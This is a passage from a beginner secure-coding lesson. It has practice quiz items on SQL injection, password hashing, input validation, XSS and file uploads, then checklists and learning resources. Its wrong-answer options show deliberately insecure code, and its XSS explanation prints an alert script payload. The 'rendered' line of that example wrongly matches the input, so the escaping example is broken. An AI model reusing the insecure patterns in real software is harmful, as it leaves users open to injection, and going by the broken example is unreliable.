- **A:** Uses f-string formatting, directly inserting user input into SQL—vulnerable to SQL injection
- **B:** Attempts to sanitize input, but blacklist approaches are fundamentally flawed. Attackers can bypass sanitization
- **D:** Incorrectly places the placeholder inside the LIKE pattern string. The `?` is treated as a literal character, not a placeholder



Practice Quiz: Question 2

Your application currently stores passwords using SHA-256 hashing. Why is this insecure, and what should you use instead?

- A) SHA-256 is insecure because it's reversible; use MD5 instead
- B) SHA-256 is too fast, allowing brute-force attacks; use bcrypt or Argon2 instead
- C) SHA-256 doesn't include salt; manually add salt before hashing with SHA-256
- D) SHA-256 is fine for passwords; no change needed



Answer 2

Correct: B

Explanation:

SHA-256 is a general-purpose cryptographic hash function designed to be extremely fast. This speed is a critical weakness for password storage because attackers can test billions of password guesses per second using modern GPUs.

Bcrypt and Argon2 are purpose-built password hashing functions designed to be intentionally slow and computationally expensive. They include configurable cost factors that you can increase over time as hardware improves.

Why others are wrong:

- **A:** SHA-256 is not reversible (it's a one-way hash), and MD5 is even worse
- **C:** Adding salt doesn't solve the fundamental problem of speed
- **D:** SHA-256 provides inadequate protection in modern threat environments



Practice Quiz: Question 3

You need to validate a username field. Which validation approach is most secure?

- A) Block special characters: `username.replace('<', '').replace('>', '').replace('"', '')`
- B) Allow only alphanumeric and underscore: `if re.match(r'^[a-zA-Z0-9_]+$', username)`
- C) Check length only: `if 3 <= len(username) <= 30`
- D) Remove SQL keywords: `username.replace('SELECT', '').replace('DROP', '')`



Answer 3

Correct: B

Explanation:

Option B uses a whitelist approach, which is the gold standard for input validation. The regular expression `^[a-zA-Z0-9_]+$` explicitly defines what characters are allowed and rejects everything else.

Why whitelist validation is superior:

- Impossible to bypass—if a character isn't in the whitelist, it's rejected
- Simple to understand and maintain
- Prevents both known and unknown attack vectors
- Enforces consistent data format

Why others are wrong:

- **A:** Blacklist approach—attackers can use characters you didn't block
- **C:** Only validates length, not character content

- **D:** Attempts to block SQL keywords—easily bypassed with case variations or encoding



Practice Quiz: Question 4

You're displaying user comments on a web page. Which approach correctly prevents XSS attacks?

- A) `<div>{{ user_comment }}</div>` (using template engine with auto-escaping)
- B) `<div innerHTML={user_comment}></div>` (React)
- C) `<div><script>document.write(user_comment)</script></div>`
- D) `<div>${user_comment}</div>` (JavaScript template literal)



Answer 4

Correct: A

Explanation:

Option A uses a template engine (like Jinja2, Django templates, or Handlebars) with automatic HTML escaping enabled. Modern template engines automatically convert special HTML characters into HTML entities, preventing browsers from interpreting user input as code.

Example:

- Input: `<script>alert('XSS')</script>`
- Rendered: `<script>alert('XSS')</script>`
- Browser displays as text, not code

Why others are wrong:

- **B:** `innerHTML` bypasses React's XSS protection
- **C:** `document.write()` executes any scripts in user input—extremely dangerous
- **D:** Template literals don't provide HTML escaping



Practice Quiz: Question 5

You're implementing a file upload feature for user profile pictures. Which security measures are essential?

- A) Check file extension only: `if filename.endswith('.jpg')`
- B) Check file extension and validate MIME type from HTTP header
- C) Check file extension, validate actual file content, limit file size, store outside web root, generate random filename
- D) Store files in `/var/www/html/uploads` with original filename



Answer 5

Correct: C

Explanation:

Option C implements defense in depth with multiple security layers:

1. **Check file extension:** First basic check
2. **Validate actual file content:** Check file's magic bytes (prevents renaming attacks)
3. **Limit file size:** Prevents DoS attacks
4. **Store outside web root:** Prevents direct execution of uploaded scripts
5. **Generate random filename:** Prevents path traversal attacks

Why others are wrong:

- **A:** Only checks extension—trivially bypassed by renaming files
- **B:** HTTP headers are controlled by client and can be spoofed
- **D:** Storing in web root allows direct script execution—extremely dangerous!

Security Tools Quick Reference

Static Analysis:

- **bandit** (Python): Security linter for Python code
- **ESLint** (JavaScript): With security plugins
- **SonarQube**: Multi-language code quality and security

Dependency Scanning:

- **pip-audit / safety** (Python): Check for vulnerable packages
- **npm audit** (JavaScript): Scan npm dependencies
- **Snyk**: Multi-language dependency and container scanning

Dynamic Analysis:

- **OWASP ZAP**: Web application security scanner
- **Burp Suite**: Security testing platform
- **SQLMap**: SQL injection testing tool

Additional Resources

OWASP (Open Web Application Security Project):

- OWASP Top 10: <https://owasp.org/www-project-top-ten/>
- Cheat Sheet Series: <https://cheatsheetseries.owasp.org/>
- WebGoat (training): <https://owasp.org/www-project-webgoat/>

NIST (National Institute of Standards and Technology):

- Secure Software Development Framework: <https://csrc.nist.gov/publications/detail/sp/800-218/final>

Learning Platforms:

- PortSwigger Web Security Academy: <https://portswigger.net/web-security>
- HackerOne: <https://www.hackerone.com/>
- CTF (Capture The Flag) challenges

Security Checklist for Production

Before deploying to production:

Code Security:

- ☐ All input is validated on the server
- ☐ All database queries use parameterized statements
- ☐ Passwords are hashed with bcrypt/Argon2
- ☐ All output is properly encoded
- ☐ File uploads are validated and stored securely
- ☐ No secrets in source code or version control

Security Checklist for Production (continued)

Infrastructure & Operations:

- ☐ Dependencies are up-to-date and scanned
- ☐ Security headers are configured (CSP, HSTS, X-Frame-Options)
- ☐ HTTPS is enforced everywhere
- ☐ Error messages don't leak sensitive information
- ☐ Logging doesn't capture sensitive data
- ☐ Pre-commit hooks are active

The Security Mindset

Think like an attacker to defend like a pro.

Questions to always ask:

- What if a user provides unexpected input?
- What if this data comes from a malicious source?
- What's the worst that could happen if this fails?
- Am I trusting something I shouldn't?
- How would I attack this system?

Remember:

- Security is not a feature—it's a requirement
- Every input is potentially malicious
- Defense in depth provides resilience
- Automation prevents human error

Building a Security Culture

Individual level:

- Learn about common vulnerabilities
- Practice secure coding techniques
- Use security tools daily
- Stay updated on security news

Team level:

- Security code reviews
- Shared security checklists
- Regular security training
- Threat modeling sessions

Building a Security Culture (continued)

Organization level:

- Security champions program
- Bug bounty programs
- Incident response plans
- Security metrics and KPIs

Remember: Security culture starts with individuals, grows through teams, and scales across organizations.

Common Security Myths Debunked

Myth 1: "Security slows down development"

Reality: Security integrated early is faster and cheaper than fixing breaches

Myth 2: "We're too small to be targeted"

Reality: Automated attacks target everyone; small size offers no protection

Myth 3: "Security is the security team's job"

Reality: Developers write the code—they're the first line of defense

Common Security Myths Debunked (continued)

Myth 4: "Penetration testing makes us secure"

Reality: Pen testing finds issues, but secure coding prevents them

Myth 5: "We use a framework, so we're secure"

Reality: Frameworks help, but misusing them creates vulnerabilities

Key Point: Don't fall for these myths—they create false security and leave you vulnerable.

Security Anti-Patterns to Avoid

✗ "We'll add security later"

- Security must be built in from the start
- Retrofitting security is expensive and incomplete

✗ "Security through obscurity"

- Hiding implementation details is not security
- Assume attackers know your system

✗ "It works on my machine"

- Production environment is different
- Test security in production-like environments

✗ "We haven't been hacked yet"

- You may not know you've been breached

The Cost of Insecurity

Data breaches have massive consequences:

Financial Impact:

- Average cost of data breach: \$4.45 million (2023)
- Regulatory fines (GDPR, CCPA, etc.)
- Legal fees and settlements
- Lost business and reputation damage

Operational Impact:

- System downtime
- Incident response costs
- Forensic investigation
- Notification and credit monitoring

The Cost of Insecurity (continued)

Long-term Impact:

- Loss of customer trust
- Competitive disadvantage
- Increased insurance premiums
- Executive and board liability

Real-world example: Equifax breach (2017) - Unpatched Apache Struts vulnerability resulted in \$575 million settlement and 147 million people's data exposed.

The bottom line:

- Prevention is always cheaper than remediation
- Security incidents damage reputation for years
- Customers and partners demand secure practices

Your Security Journey

Beginner (you are here):

- Understand common vulnerabilities
- Apply basic secure coding principles
- Use security tools
- Validate input, use parameterized queries, encode output

Intermediate:

- Threat modeling
- Security architecture
- Advanced authentication/authorization
- Security testing automation

Advanced:

- Security research

Next Steps: Practice Makes Perfect

Hands-on practice:

1. Set up security linters in your projects
2. Implement pre-commit hooks
3. Review your existing code for vulnerabilities
4. Try security CTF challenges
5. Contribute to security reviews

Learning resources:

- OWASP WebGoat (hands-on training)
- PortSwigger Academy (web security)
- HackTheBox (penetration testing practice)
- CTF competitions
- Security conference talks

Final Thoughts

Security is not optional—it's essential.

What you've learned:







- Critical security vulnerabilities and how they work
- Secure coding principles (input validation, parameterized queries, output encoding, secure password storage, file handling)
- How to integrate security into your workflow
- Common pitfalls and how to avoid them
- Tools and resources for continuous learning

Remember:

- You are the first line of defense
- Security starts with the code you write
- Defense in depth provides resilience

Lesson Complete!

You now understand:

-  Critical security vulnerabilities (injection, XSS, broken authentication, insecure deserialization)
-  Secure coding principles from OWASP and NIST
-  Input validation, parameterized queries, output encoding
-  Secure password storage and file handling
-  Integrating security into development workflow
-  Common pitfalls and how to avoid them

Your mission: Write code that protects your users, your organization, and your reputation. Make security a habit, not an afterthought.

Stay secure, and happy coding!